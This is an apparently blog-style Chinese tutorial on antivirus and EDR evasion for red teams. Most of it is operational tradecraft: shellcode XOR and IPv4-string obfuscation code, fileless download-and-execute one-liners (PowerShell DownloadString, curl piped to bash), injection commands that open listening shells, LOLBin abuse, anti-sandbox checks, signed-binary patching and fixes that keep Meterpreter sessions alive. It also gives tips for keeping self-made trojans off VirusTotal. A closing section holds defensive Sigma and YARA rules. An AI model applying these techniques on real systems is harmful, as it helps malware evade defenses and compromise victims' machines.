网络安全

免杀技术(Bypass AV/EDR)

2026-07-01 #免杀#免杀技术#终端安全#加壳#免杀验证

一、免杀基本概念

1.1 什么是”免杀”?

免杀(Bypass
AV/EDR)是网络安全领域中,攻击者为规避杀毒软件(AV)、终端检测与响应系统(EDR)的识别和拦截,使恶意代码成功在目标终端执行的一系列技术手段的统称。其本质不是”
关掉杀毒软件”,而是让它”看不见”。

免杀不是搞破坏,而是一场攻防技术的军备竞赛。对于红队、渗透测试人员、安全研究员来说,理解主流的静态免杀、动态免杀、内存免杀手段,是在授权范围内做好评估的必备技能。

1.2 免杀的本质

免杀的本质是”针对性对抗检测系统的判定逻辑”,围绕 AV/EDR
的检测逻辑弱点,通过改造恶意代码形态、伪装执行行为等方式,打破检测链路,实现”隐蔽执行”的目标。

核心是”对抗检测逻辑”,而非单一技巧。杀毒软件本质上是一个检测系统,而检测系统就一定有漏报和误报。攻防双方的对抗,本质上是一场
检测与反检测的竞赛

1.3 AV 与 EDR 的核心区别

维度 传统AV EDR
目标 阻止恶意软件 检测→调查→响应
方式 特征码为主 行为分析为主
数据 文件扫描 全链路遥测
时间 实时拦截 持续监控+事后溯源

EDR 相当于在终端上装了个”监控摄像头”,记录下进程、网络、文件、注册表的一举一动。杀软侧重于威胁执行之前将其阻止,好比”前门锁”
;EDR 则假设入侵难以避免,专注于事后的可视化调查和事件响应。两者构成纵深防御体系。

1.4 红队实战基础须知

在深入免杀技术之前,有几个基本常识必须牢记:

上线后第一条命令:不要执行 whoami!这条命令在红队操作中是极其敏感的行为特征,很多 EDR 的检测规则专门盯着它。建议先执行
ipconfignetstat -ansysteminfo 这类环境探测命令,看起来更像正常的系统管理员操作。

个人杀软 vs 企业防护:个人杀软(如火绒、腾讯电脑管家、360 个人版)是鸡肋级别的防御。企业标配是 EDR + IPS + IDS + NDR + XDR
的全套组合,一般部署为主控(服务端)和 agent(终端代理)两层架构。Windows Defender 的实际防护能力高于国内大多数个人杀软。

常用杀软产品一览

分类 产品
国外主流(企业级) CrowdStrike 猎鹰、SentinelOne S1、卡巴斯基(Kaspersky)
国内/亚太主流 卡巴斯基、ESET NOD32、McAfee 麦咖啡
国内个人版 火绒、腾讯电脑管家、360 安全卫士
国产终端安全 奇安信、深信服 EDR、360 天擎(企业版)

警告:把自己写的马子传到 VT 查杀是很傻的行为。VT 是 Google 旗下的多引擎聚合检测平台(约 70+ 安全厂商引擎):

  • 将自研木马上传至 VT 的后果包括:
风险 说明
🔴 样本被收录进威胁情报库 一旦被任一引擎检出,VT 会公开哈希(MD5/SHA256),该样本将被各大厂商加入黑名单,后续所有使用此样本的攻击都会被拦截
🔴 暴露开发特征 即使未被查杀,VT 会记录上传 IP、时间、User-Agent、文件元数据(如编译器版本、PDB 路径、资源段等),可能反向追踪到开发者环境
🔴 激活云端联动防御 如 Windows Defender / SentinelOne / CrowdStrike 等 EDR 会订阅 VT 哈希情报,实现“一处上传,全域封禁”
🔴 破坏免杀成果 免杀的核心是“未被已知特征识别”,上传 VT 相当于主动送检,等于自毁免杀成果
  • 样本哈希(MD5/SHA256)被公开收录进威胁情报库,所有订阅 VT 情报的厂商(包括 Windows Defender、CrowdStrike、SentinelOne)都会同步拉黑
  • 即使未被查杀,VT 也会记录上传 IP、时间、编译器版本、PDB 路径等元数据,可能反向追踪到开发环境
  • 一次上传 = 全域封禁 = 免杀成果瞬间报废

类比:刚造了一把”开锁万能钥匙”,却把它拍照发到公安指纹数据库——不是测试,是自首。

不同编译器决定不同杀软结果:同一个源码,用 MSVC、MinGW-w64、Clang 编译出来的静态查杀率可能完全不同。即使是同一编译器,不同优化参数(
/O1/O2/Ox)也会产生截然不同的查杀结果。免杀 Fuzz 时,编译器和参数的组合是非常有效的低成本尝试。

主流 C2 框架对比

C2 框架 语言 特点 推荐场景
Cobalt Strike Java/混合 最流行、生态丰富、二开友好 企业级红队、CS 4.5 最适合二次开发
Metasploit Ruby 老牌经典、社区资源最多 入门学习、快速验证
Sliver Go 规避能力强、可控 Linux 需要跨平台、高隐蔽性
Havoc C/Go 现代化 UI、团队协作好 协作红队
BRC4 未公开 多规避手段、专业级 高端对抗
Empire Python/PowerShell 纯 PowerShell 后渗透 Windows 域环境
Covenant C# .NET 原生、反射加载 .NET 环境渗透
PoshC2 Python 基于命令行 轻量场景
夜莺(nig) 未公开 不对大陆出口

自写 C2 天然就是免杀的——因为没有任何厂商见过你的特征。如果团队有研发能力,这是终极方案。

二、杀毒软件与免杀技术的演进历程

这场较量大致经历了四个阶段:

第一回合(1990s-2005):特征码时代

早期的杀毒软件靠”签名”识别病毒——就像警察拿着通缉令比对犯人照片。攻击者发现:只要改一个字节,签名就变了,杀软就不认识了。最简单的方法:加个壳(UPX、ASPack),整个文件的
hash 和结构全变了。

第二回合(2005-2012):启发式时代

杀毒软件学聪明了——不只对”照片”,还看”行为”。比如,一个 Word 文档为什么要调用创建进程的 API?可疑!攻击者开始搞代码混淆——把代码变得面目全非,但功能不变。

第三回合(2012-2020):云端+AI时代

杀软开始把文件上传到云端分析,还用上了机器学习模型。攻击者改策略:不落盘了,直接在内存里执行恶意代码;用沙箱检测技术识别虚拟环境,检测到就躺平装死。

第四回合(2020-至今):EDR 全面对抗

企业开始部署 EDR(端点检测与响应),能监控终端上的一举一动。攻击者也开始”全链路对抗”:绕 AMSI、绕
ETW、直接系统调用、进程挖空注入……现在的攻防对抗已经是系统工程级别了,单点技术根本不够用。

三、杀毒软件检测机制详解

现代杀毒软件是一个多引擎、多层次的检测体系,每一层都可以被单独绕过。

3.1 特征码检测

原理:维护一个”坏人名单”(特征码库),扫到就报警。特征码不一定是文件 hash,它可以是:

  • 特定字节序列(如 Metasploit 生成 shellcode 的特征头)
  • 导入的 API 组合(VirtualAlloc + CreateRemoteThread 同时出现就很可疑)
  • PE 文件结构异常(节区名叫非标准名称)
  • 资源段里有高熵值数据(加密的 shellcode 藏在这)

3.2 启发式检测

启发式不依赖已知签名,而是分析程序的”行为倾向”。

静态启发(不执行,直接分析):

看什么 怎么看
API 导入组合 VirtualAlloc + WriteProcessMemory + CreateRemoteThread 三连?高度可疑
代码逻辑 有自解密循环?可疑
PE 结构 入口点指向了奇怪的地方?可疑
字符串 代码里硬编码了 IP 和 URL?非常可疑

动态启发(在沙箱里跑一遍):杀软在隔离环境里模拟执行几十秒,看你会不会连外网、创建进程、改注册表、注入其他进程。如果行为太像恶意软件,直接判黑。

3.3 行为分析

这是现代杀软的核心手段。它在关键 API 上”打桩”(Hook),程序一调用这些 API 就会被拦截检查。

重点监控的 API:

  • VirtualAlloc — 分配可执行内存(RWX)
  • WriteProcessMemory — 往别的进程里写数据
  • CreateRemoteThread — 在别的进程里创建线程
  • NtMapViewOfSection — 内存映射注入

3.4 云检测

文件 hash、行为日志、甚至整个文件,会被上传到厂商的云端进行深度分析。VirusTotal
这类平台虽然方便,但上传样本后马上会被各大厂商拉黑——实际攻击中需要先检测目标用的是哪家杀软,只针对那一家做免杀。

3.5 熵值检测

熵(Entropy),通俗讲就是数据的”混乱程度”。正常程序的代码段熵值一般在 5.0-6.5 之间,而加密后的 shellcode 熵值能到
7.5-7.9。熵值检测是低成本高效率的手段,杀软一看熵值 > 7.0,八成有鬼。

3.6 AI/ML 检测

把 PE 文件的特征(元数据、字节分布、API 序列等)喂给模型,让它自己学会分辨好坏。但 ML
模型有个致命问题:对抗样本。和图像识别一样,精心构造的扰动可以让模型把一个恶意文件判定为安全文件。

3.7 Windows Defender 重点分析

作为 Windows 自带、市场占有率最高的杀软,Defender 的检测流程是标准的多层流水线。三个关键机制:

  • AMSI — 专门扫脚本和宏(PowerShell、VBA、JS),很多攻击的第一步就是从这里开始的
  • MAPS 云查 — 文件会被上传到微软云做深度分析
  • EtwTi — 利用 ETW 框架做威胁情报,可以感知到进程内存分配、远程线程创建等行为

3.8 EDR 的四大核心武器

  1. 内核回调 — 进程创建、线程创建、模块加载,都能在内核态感知
  2. ETW(事件追踪) — Windows 自带的事件框架,低开销、难检测
  3. 用户态 Hook — 在关键 API 上埋点
  4. 内存扫描 — 定期扫描进程内存,找”不该在那里的代码”

3.9 主动防御

主动防御不是靠特征库,而是杀软内置了一套”判定规则引擎”——当程序行为触发了预设的敏感规则组合,立即拦截并告警。360
是国内最早大规模应用主动防御的厂商,WD 和卡巴斯基也有成熟的主动防御模块。

常见触发规则:

  • 程序从临时目录启动后立即尝试网络外连
  • 非安装程序修改系统关键注册表项(如 HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  • 低权限进程尝试打开高权限进程的句柄
  • 下载的文件在短时间内被执行

3.10 流量检测

这是容易被忽略但杀伤力极大的检测手段。态势感知(Situational Awareness)设备、NDR(网络检测与响应)系统对传输流量进行深度包检测(DPI),分析通信模式:

  • WebShell 流量特征:短间隔的 HTTP POST 请求,请求体中含 Base64 编码数据,响应内容异常短小
  • C2 Beacon 特征:固定的心跳间隔(Jitter 为 0 就是找死)、特定 TLS 指纹(JA3/JA3S)、DNS TXT 查询中的异常编码
  • CS 流量指纹:Cobalt Strike 的默认 Beacon 配置有明显的 TLS 证书特征和 HTTP 头顺序特征,市面上有大量开源检测脚本

流量层的检测意味着:即使客户端免杀做到完美,如果 C2 通信特征没处理好,态势感知平台照样能发现异常并溯源。

四、Windows 执行架构基础

在深入免杀 bypass 之前,理解 Windows 的执行流程至关重要:

  • 应用程序(Applications):用户直接交互的程序,如 firefox.exe
  • 动态链接库(DLLs):应用程序通过调用 DLL 来使用 Windows 功能,而无需直接访问底层代码
  • Kernel32.dll:Windows 操作系统的核心 DLL 之一,提供内存管理、进程/线程创建等基本功能
  • Ntdll.dll:用户态最底层的 DLL,暴露 NT API(原生 API),允许应用程序发起低层调用,充当用户态组件与内核之间的中间层,将用户请求转换为内核可理解的系统调用(syscall)
  • 内核(Kernel):Windows 操作系统的核心,负责管理内存、进程、硬件交互等系统资源,运行在”内核态”(kernel-mode)

C++ 创建文件的完整调用链

1
2
3
4
// 1. 代码中调用 CreateFile 函数 → 应用程序发起 API 调用与系统交互
// 2. CreateFile 转发至 NtCreateFile → 经过多个 DLL(如 Kernel32)传递至 Ntdll.dll
// 3. NtCreateFile 触发 syscall → Ntdll.dll 将 API 调用转换为低层系统调用
// 4. 内核执行系统调用,创建文件并返回句柄 → 内核直接访问硬件和系统资源

五、免杀对抗技术总览

在现代攻防环境中,”免杀”并不是单一技术,而是围绕检测对象、检测目标、检测能力形成的系统性对抗。可以从三个维度理解:

5.1 检测对象认知(安全产品分类)

  • 主机侧防护:传统杀毒、国产终端安全、EDR/XDR
  • 网络与流量侧:IDS/IPS(Suricata/Snort)、流量云沙箱、TLS/JA3 指纹识别、C2 通信特征检测
  • 云端与检测平台:VirusTotal、各类云沙箱

现代检测是”端 + 网 + 云 + 沙箱”的组合体系。

5.2 对抗技术分类体系

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
对抗技术
├── 静态对抗(文件层)
│ ├── 特征码
│ ├── 加密混淆
│ ├── 架构重排
│ └── 隐写/分离
├── 动态对抗(运行层)
│ ├── API 行为
│ ├── 内存执行
│ ├── 注入与回调
│ └── 反监控机制
├── 工具对抗(指纹层)
│ ├── 工具特征
│ ├── 通信协议
│ └── 操作流程
└── 武器化与保护
├── 加载器
├── 插件化
└── 版本控制

5.3 免杀层级总览

免杀层级 核心技术 对抗目标
静态免杀 IPv4 地址混淆 + XOR 加密 + DLL 分离加载 特征码扫描
动态免杀 多层反沙箱综合评分 沙箱行为分析
内存免杀 VEH 异常处理 内存扫描引擎
API 免杀 Syscall 直接调用 用户层 API Hook
行为免杀 无窗口编译 + FreeLibrary 卸载 DLL 行为检测/内存取证

5.4 对抗思路:主动 vs 被动

免杀对抗可分为两种思路:

主动对抗:持续地对恶意代码做混淆、变形、加壳,主动绕过检测。当无法在本地复现目标杀软环境时,只能靠不断
Fuzz——反复尝试不同的混淆方案、编译器、编译参数,看哪种组合能过。钓鱼场景中尤其常见,因为无法提前知道目标的杀软型号。

被动对抗:不主动变形代码,而是等待目标环境的安全策略变更(如杀软更新策略、规则库轮换),或利用已知的杀软漏报窗口期投递。依赖情报收集和时机把握,风险更高但成本更低。

5.5 时间成本与效率取舍

免杀不是越复杂越好,视项目规模而定:

  • 小项目、短期渗透:能用就行,不必过度工程化。目标是在有限时间内绕过目标环境的防护
  • 代码量控制(非绝对):UPX 压缩后的 EXE 在 360 上容易被落地查杀;Golang 编译产物 1-2M,Python3 打包
    4-6M。早年网络环境对大文件传输不友好,但现在带宽普遍充足,体积问题已经不大,不必强求极致小体积
  • 时间窗口意识
    :一个免杀方案的存活周期是有限的——杀软厂商更新速度越来越快,今天的免杀明天可能就失效。把精力花在核心对抗上,不要追求完美 |

六、静态免杀技术

6.1 代码混淆(Code Obfuscation)

通过自动化工具或手动修改,对恶意代码进行”形态改造”:

  • 变量名/函数名随机化:将 ExecuteMalware() 改为 xY7zQ2()
  • 字符串加密:用 Base64 二次编码、XOR 异或加密敏感字符串
  • 代码冗余填充:插入无效指令打乱结构
  • 控制流平坦化:将分支逻辑转为线性结构,打破特征匹配规则

常用工具:Veil-Evasion(跨平台)、O-LLVM(Linux 专属混淆框架,编译参数 -mllvm -fla 控制流平坦化,-mllvm -sub
指令替换)、Ghost、手动混淆辅助(Ghidra/IDA Pro)

6.2 文件加壳/打包(Packing)

使用加壳工具对恶意文件进行压缩、加密,生成”外壳程序”。

常用工具:

  • UPX(跨平台):upx -9 malware -o malware_upx,-9 为最高压缩比。单一 UPX 加壳易被特征识别,建议搭配
    UPX-Mod(壳变形工具)修改外壳特征
  • VMProtect(Windows 为主):勾选”虚拟指令””混淆代码”选项,自定义加密密钥,其虚拟指令集可大幅提升逆向分析难度
  • Shielden(Linux 专属轻量加壳工具):支持自定义压缩算法和加密密钥

6.3 文件格式伪装

  • 扩展名伪装:利用 Windows 系统”隐藏已知文件扩展名”的默认设置,将 malware.exe 改为 malware.docx.exe
  • 文件头伪造:修改文件头标识(如将 EXE 文件的 MZ 头改为 PDF 文件的 %PDF-1.7 头),欺骗 AV 对文件类型的识别

6.4 Shellcode 处理流水线

这是整套免杀方案中最巧妙的部分。原始 Shellcode(msfvenom 输出的裸 bin)需要经过多道工序才能变成 Loader 可以安全加载的形式:

1
2
3
4
5
6
7
8
9
10
11
12
13
shellcodes_raws.bin    ← msfvenom 生成的原始 Shellcode


① 同义指令替换 / 花指令注入 / 指令重排

▼ shellcode_patched.bin
② XOR 加密(密钥自定义)

▼ shellcode_encrypted.bin
③ IPv4 混淆:每 4 字节伪装为一个 IPv4 地址

▼ shellcode_obfuscated_ipv4.c
④ 复制 IPv4 数组 → 编译 helper.dll

XOR 加密实现

1
2
3
4
5
6
def custom_encrypt(shellcode, key):
encrypted = bytearray()
for i, byte in enumerate(shellcode):
encrypted_byte = (byte ^ key[i % len(key)])
encrypted.append(encrypted_byte)
return encrypted

IPv4 混淆(最关键的一步):把加密后的二进制数据伪装成 IP 地址列表。每 4 个字节映射成一个点分十进制 IP:

1
字节: 95 29 E0 D6  →  IP: "149.41.224.214"

这样做的好处是:载体文件里没有 Shellcode 特征,没有加密 blob 特征,只有一排看起来人畜无害的 IP 地址字符串。大部分静态扫描引擎不会对
IP 地址列表产生告警。

6.5 DLL 分离加载

将”执行器”和”数据”拆成两个文件。绝大多数杀软的扫描引擎会同时检查”文件中是否含有可执行代码”和”文件中是否含有 Shellcode
特征”。把无危险的 Loader 和加密后的 Payload 分开,Loader 本身不包含任何 Shellcode 特征,即使数据 DLL 被识别,替换数据重新编译即可,Loader
无需任何修改。

七、动态免杀技术

7.1 Shellcode 注入基础

分配(Allocate)→ 写入(Write)→ 执行(Execute)是向进程中注入 shellcode 的常规步骤:

  1. 在进程中使用 VirtualAlloc() 分配一块具有 RWX(读-写-执行)权限的内存区域,大小与 shellcode 相同
  2. 使用 memcpy() 将 shellcode 复制到该内存区域
  3. 执行分配内存中的内容

OPSEC 注意:直接分配 PAGE_EXECUTE_READWRITE 内存是一个强烈的可疑指标。更隐蔽的做法是:先将内存保护设置为
PAGE_READWRITE,写入载荷后再改为可执行。

PPID 欺骗(父进程伪装):同样的恶意程序,双击运行和从 cmd 启动的查杀结果可能完全不同。双击运行时,父进程是 explorer.exe
,木马本身是进程树的起点——行为模型很”突兀”。而通过 cmd 启动时,父进程是 cmd.exe,运行链为 explorer → cmd → malware
,看起来像用户手动操作,很多基于进程树的启发式规则会放行。这就是**进程父级欺骗(PPID Spoofing)**的本质——伪造一个”合法”
的父进程来掩盖恶意子进程的创建。

7.2 Syscall 直接调用(API 免杀)

不调用 VirtualAllocWriteProcessMemoryCreateRemoteThread 等 Win32 API,而是直接从 ntdll.dll 获取 Native
API(Syscall)函数地址。EDR 和杀软的用户层 Hook 通常挂在 kernel32.dll / advapi32.dll 上,Syscall 直接在 0-ring 完成调用,完美绕过。

1
2
3
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
NtAllocateVirtualMemory_t pNtAllocateVirtualMemory =
(NtAllocateVirtualMemory_t)GetProcAddress(ntdll, "NtAllocateVirtualMemory");

完整绕过链路

  1. 跳过被 EDR 挂钩的用户态 API
  2. 直接通过 Syscall 指令调用内核态系统函数(如调用 NtCreateProcess 替代 CreateProcess
  3. 让 EDR 无法捕获 API 调用日志

7.3 无文件执行(Fileless Execution)

恶意代码不写入磁盘文件(即”不落地”),直接通过系统合法工具加载到内存执行:

Windows 平台

  • 通过 PowerShell、WMI、Mshta.exe 执行内存脚本
  • 利用注册表存储恶意代码片段,通过脚本读取注册表内容并加载到内存执行
1
Invoke-Expression (New-Object Net.WebClient).DownloadString('恶意脚本URL')

Linux 平台

  • bash -c "curl -s 恶意脚本URL | bash",直接将脚本内容通过管道传递给 bash 内存执行
  • MemShell-Linux 等工具注入 bash 进程内存

7.4 进程注入(Process Injection)

将恶意代码注入到系统合法进程(如 explorer.exesvchost.exe)的内存空间,借助合法进程的权限和信任标识执行。EDR
仅能监控到合法进程的正常活动,无法识别其内存中隐藏的恶意代码。

Windows 平台使用 pinjector 工具:

1
2
pinjector.exe -l                   # 查看可利用进程及权限
pinjector.exe -p 1284 cmd 1234 # 将 cmd 注入目标进程并开启 1234 侦听端口

Linux 平台使用 injectso 工具:

1
./injectso -p 1234 /path/your.so   # 1234 为 bash 进程 PID,so 为恶意动态库

或手动 ptrace 注入:编写 C 语言注入程序,调用 ptrace 函数附加目标进程、分配内存、写入恶意代码、恢复进程执行。

7.5 数据卸磨杀驴

数据从载体 DLL 提取到内存后,立即 FreeLibrary 卸载 DLL。当取证工具扫描进程模块列表时,载体 DLL 已经不在内存中,反溯源效果显著。

1
2
// 提取数据后立即卸载 DLL,内存取证也找不到痕迹
FreeLibrary(payload_dll);

7.6 保持进程存活

远程线程执行的 Shellcode(如 Meterpreter)需要宿主进程保持存活。Loader 应该在创建线程后进入无限睡眠循环,而不是等待线程结束:

1
2
3
4
5
// 正确写法:不等待线程,保持进程永存活
CloseHandle(hThread); // 只关闭句柄,不等待
while (1) {
Sleep(1000); // 主线程永远不退出
}

如果调用 WaitForSingleObject(hThread, INFINITE) 等线程退出后 main 函数 return 0,整个进程退出,Meterpreter Session
会秒级死亡。

7.7 VEH 异常处理

注册 Vectored Exception Handler,即使执行过程中触发了访问违例,程序也不会崩溃退出,而是继续执行。这对抗了部分内存扫描引擎利用
crash 来判断恶意行为的手法。

1
2
3
4
5
6
LONG WINAPI VEHHandler(PEXCEPTION_POINTERS ExceptionInfo) {
if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION) {
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}

7.8 EDR 钩子绕过(Hook Bypass)

EDR 通常通过”钩子(Hook)”技术拦截用户态 API 调用(如进程创建 CreateProcess、文件写入 WriteFile),以此监控恶意行为。绕过方式包括:

  • 直接系统调用:跳过被 EDR 挂钩的用户态 API,直接通过 Syscall 指令调用内核态系统函数
  • 钩子卸载:通过内存篡改技术,移除 EDR 安装在目标进程中的 Hook 函数

7.9 白名单进程代理(Living-off-the-Land, LOLBins)

利用 AV/EDR 信任的系统合法进程(白名单进程)执行恶意操作:

Windows 平台

  • msbuild.exe 代理:嵌入恶意 C# 代码到 .csproj 文件,执行 msbuild.exe /t:Build 恶意项目.csproj
  • regsvr32.exe 代理:执行 regsvr32.exe /s /i:恶意控件.ocx scrobj.dll
  • certutil.exe 下载 Payload

Linux 平台

  • gcc 代理:将恶意代码嵌入 .c 文件注释区,编译过程中偷偷加载内存 Payload
  • curl + bash 组合:curl -s 恶意URL | bash

八、反沙箱与反分析技术

8.1 多层反沙箱检测

真实机器和沙箱/分析环境之间存在大量可检测差异。综合评分机制可极大降低误杀率:

检测项 沙箱特征 真实机器特征
CPU 核心数 ≤ 2 核 ≥ 4 核
物理内存 < 2 GB ≥ 4 GB
VM 后台进程 有 vmtoolsd.exe 等
用户交互 > 5 分钟无输入 有键盘鼠标操作
调试器检测 正在被调试 未调试
时间加速检测 Sleep(5s) 实际 < 4s 睡眠准确

评分机制:≥ 3 项命中 → 判定为沙箱 → 静默 ExitProcess(0) 退出,不留任何日志。

8.2 沙箱逃逸(Sandbox Evasion)

恶意代码先检测当前运行环境是否为 AV/EDR 的沙箱(模拟环境),若为沙箱则不执行核心恶意操作,仅表现为合法行为;进入真实终端后再激活恶意功能。

检测沙箱的常用方法:

  • 资源检测:沙箱通常 CPU 核心少、内存小、硬盘容量低(wmic cpu get NumberOfCoreswmic diskdrive get Size
  • 时间检测:沙箱模拟运行时间短(通常几秒到几分钟),通过检测系统运行时长判断
  • 硬件检测:沙箱缺少真实硬件驱动(如显卡、声卡),通过枚举硬件设备列表判断环境真实性

8.3 延时/分段执行

拆分恶意行为链,或延迟核心恶意操作,打破 EDR 对”连续恶意行为”的检测逻辑。例如将恶意流程拆分为”下载组件→解密组件→执行攻击”
三步,每步间隔 12 小时;或通过任务计划程序(schtasks)设置恶意代码在植入后 24 小时执行,避开 EDR 的实时监控窗口。

九、白文件 Patch 免杀

9.1 基本原理

白文件 patch 是将白文件(合法签名程序)执行过程中的某个执行流修改为恶意 shellcode 代码,如修改入口点、某个函数等。只要点击白程序就会运行到恶意代码。

核心思想:利用白文件的数字签名和合法身份绕过静态检测,同时通过分离加载避免动态检测。

9.2 Shellcode 模板编写

选择现有的 Shellcode 模板简化开发。编写模板时需注意:

  • shellcode 不能使用常量字符串,采用数组定义
  • 动态获取 Windows API 地址
  • VS 设置”忽略所有默认库”
  • 编译后提取 .text 代码段作为 shellcode

9.3 入口点 Patch

程序启动时,操作系统首先跳转到入口点执行代码。修改入口点指令,程序一开始就会执行植入的代码:

1
BinPatch.exe 白文件.exe shellcode64.bin

9.4 寻找白文件

要求 C/C++ 语言编写、不依赖第三方 DLL 的白文件。可使用 ZeroEye 批量扫描:

1
ZeroEye.exe -p C:\ -s -x 64 -e -nc -g "api-ms|ucrtbase|vcruntime|msvcp|crt"

白文件资源充足,被某杀软标记后换一个即可。

9.5 Shellcode 与 Payload 分离

Shellcode 模板的作用是读取同目录下的加密 payload 文件(如命名为 log 的文件),在内存中解密并执行。这样:

  • 白文件本身不含恶意特征
  • Patch 后的代码只负责读取和解密
  • 实际 payload 以加密文件形式存在

十、2025-2026 免杀技术前沿

10.1 自带易受攻击的驱动程序(BYOVD)

恶意软件加载已签名但存在漏洞的驱动程序(如来自华硕、微星或旧版英伟达的驱动程序),以禁用 EDR 内核回调。

案例:Black Basta、ALPHV/BlackCat 勒索软件。

10.2 JIT Hooking 与 EDR 静默

恶意软件使用即时编译(JIT)动态覆盖内存中的 EDR DLL 钩子。

案例:LummaC2、Rhadamanthys 窃密木马。

10.3 AI 驱动的多态恶意软件

恶意软件嵌入一个微小的 LLM,在执行之前重写自己的有效载荷——动态地更改哈希值和字符串。

案例:PrivateLoader 变种。

10.4 ClickFix 社会工程学

用户看到虚假的”Microsoft .NET 错误”或”缺少打印机驱动程序”提示,点击后执行 PowerShell 或 MSI 有效负载。

10.5 无文件 .NET 和 PowerShell 滥用

有效载荷通过 InstallUtil.exe、RegSvcs.exe 或 PowerShell AMSI 绕过([Ref].Assembly.GetType(…))驻留在内存中。

案例:RedLine Stealer。

10.6 隐写术 C2

恶意软件从公共论坛下载 PNG/WebP 图像,然后通过 LSB(最低有效位)提取出 C2 IP 地址。

案例:AsyncRAT、QuasarRAT。

十一、免杀检测技术(防守视角)

11.1 BYOVD 检测规则

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
title: BYOVD Driver Load via NtLoadDriver
status: experimental
description: Detects non-standard driver loading via NtLoadDriver, typical in BYOVD ransomware
logsource:
category: process_creation
product: windows
detection:
selection_img:
Image|endswith:
- '\drvinst.exe'
- '\hwpsetup.exe'
- '\msiosup.exe'
- '\atkexComSvc.exe'
selection_cmd:
CommandLine|contains:
- 'NtLoadDriver'
- '\??\'
filter_legit:
Image|endswith:
- '\csrss.exe'
- '\winlogon.exe'
condition: (selection_img or selection_cmd) and not filter_legit
level: high
tags:
- attack.privilege_escalation
- attack.t1068

11.2 JIT Hooking 检测规则

此规则用于识别滥用 InstallUtil.exe 或 RegSvcs.exe 加载具有高熵的反射型 .NET 程序集,包含用于修补 EDR 钩子的 JIT 相关 API
字符串的载荷。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
rule JIT_Hooking_EDR_Silencing_2025 : evasion memory_injection
{
meta:
description = "Detects JIT-based EDR hook patching via .NET CLR"
strings:
$parent1 = "installutil.exe" ascii nocase
$parent2 = "regsvcs.exe" ascii nocase
$parent3 = "msbuild.exe" ascii nocase
$jit_api1 = "VirtualProtectEx" wide
$jit_api2 = "WriteProcessMemory" wide
$jit_api3 = "GetModuleHandleA" wide
$jit_str1 = "clr!MethodDesc::JITCompile" ascii
$refl_pat = { 48 89 5C 24 08 48 89 74 24 10 57 48 83 EC 20 48 8B DA }
condition:
(uint16(0) == 0x5A4D) and
filesize < 3000KB and
(
($parent1 or $parent2 or $parent3) in (0..filesize) or
(2 of ($jit_api1, $jit_api2, $jit_api3) and $jit_str1 and $refl_pat)
)
}

11.3 Suricata WebShell 检测

Suricata 可用于 HTTP Payload 检测、流量模式匹配、WebShell 通信识别、C2 行为发现。常见规则来源包括 Emerging Threats、PT
Research、Abuse.ch、Threat Hunting Rules。

防御实践建议:规则分级(告警/阻断),结合流量上下文减少误报。

十二、免杀效果验证方案

12.1 线上查杀平台

VirusTotal

  • 上传免杀处理后的文件,等待生成查杀报告
  • 重点查看 Detection ratio(查杀率),若 30+ 款 AV/EDR 中查杀数低于 5 款,说明静态绕过效果合格
  • 针对查杀率过高的文件,点击具体 AV 厂商的告警信息,定位触发特征,反向优化免杀方案

NoDistribute

  • 针对 EDR 动态检测场景,上传文件后勾选 Dynamic Analysis
  • 平台会模拟真实终端环境运行文件并生成行为报告
  • 重点关注是否被标记”恶意行为链””内存注入”告警

12.2 本地环境模拟

Windows 本地验证

  1. 启用 Windows Defender(或目标 AV 如 360、火绒),更新病毒库至最新
  2. 关闭安全沙箱(避免干扰测试),执行免杀文件
  3. 查看 AV/EDR 日志,确认是否有”恶意软件拦截”记录
  4. 若能正常执行 Payload(如获取 Shell)且无告警,说明动态绕过成功

Linux 本地验证

  1. 安装 ClamAV,freshclam 更新病毒库
  2. 扫描免杀文件:clamscan -r malware_shielded,无 “FOUND” 提示说明静态绕过
  3. 部署 SentinelOne Linux 客户端,运行免杀程序,查看 EDR 控制台告警

12.3 测试注意事项

  1. 线上平台避免上传高度敏感 Payload,防止被厂商收录特征后反向拦截
  2. 本地测试需搭建隔离虚拟机环境(如 VMware,关闭网络桥接),测试后立即快照还原
  3. 优先模拟目标场景的 AV/EDR 型号,测试时开启”实时防护””行为监控”全功能
  4. 每轮测试后留存日志(AV/EDR 告警日志、样本执行日志),便于反向优化
  5. 排查故障时优先定位”告警类型”(静态/动态),再对应调整免杀方案

十三、故障排查指南

13.1 IPv4 解析错误(MinGW-w64 兼容性问题)

现象:XOR 解密后的前几个字节是密钥本身,说明 IPv4 反混淆读出来的数据前三个字节全是 0。

根因:MinGW-w64 使用的 msvcrt.dll 运行时不支持 C99 的 %hhu 格式符。sscanf 声称成功解析了 4 个值(返回值 =
4),但实际前三个值是 0。

解决

1
2
3
4
5
6
7
8
// 错误写法(%hhu + unsigned char)
unsigned char a, b, c, d;
sscanf(ipv4_array[i], "%hhu.%hhu.%hhu.%hhu", &a, &b, &c, &d);

// 正确写法(%u + unsigned int)
unsigned int a, b, c, d;
sscanf(ipv4_array[i], "%u.%u.%u.%u", &a, &b, &c, &d);
random_data[offset] = (unsigned char)a;

教训:跨平台 C 编程时,永远不要假设 C99 格式符在所有运行时中都能工作。%u + unsigned int 才是 Windows 上最稳妥的写法。

13.2 Meterpreter Session 秒级死亡

现象:Session 建立后不到一秒就挂了。网络没问题,Shellcode 解密正确——但它就是活不下来。

根因:Shellcode 线程执行完第一阶段(建立 TCP 连接、接收第二阶段 DLL)后正常退出。Loader 调用了
WaitForSingleObject(hThread, INFINITE),等线程退出后 main 函数 return 0,整个进程退出了。Meterpreter 的第三阶段(完整的交互式
Session)依赖宿主进程存活。进程一退出,Session 就死亡。

修复

1
2
3
4
5
6
7
8
9
10
// 错误写法:等待线程结束后进程退出
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
return 0; // 进程退出 → Meterpreter 死亡

// 正确写法:不等待线程,保持进程永存活
CloseHandle(hThread); // 只关闭句柄,不等待
while (1) {
Sleep(1000); // 主线程永远不退出
}

13.3 各技术类型常见故障

技术类型 故障现象 解决方案
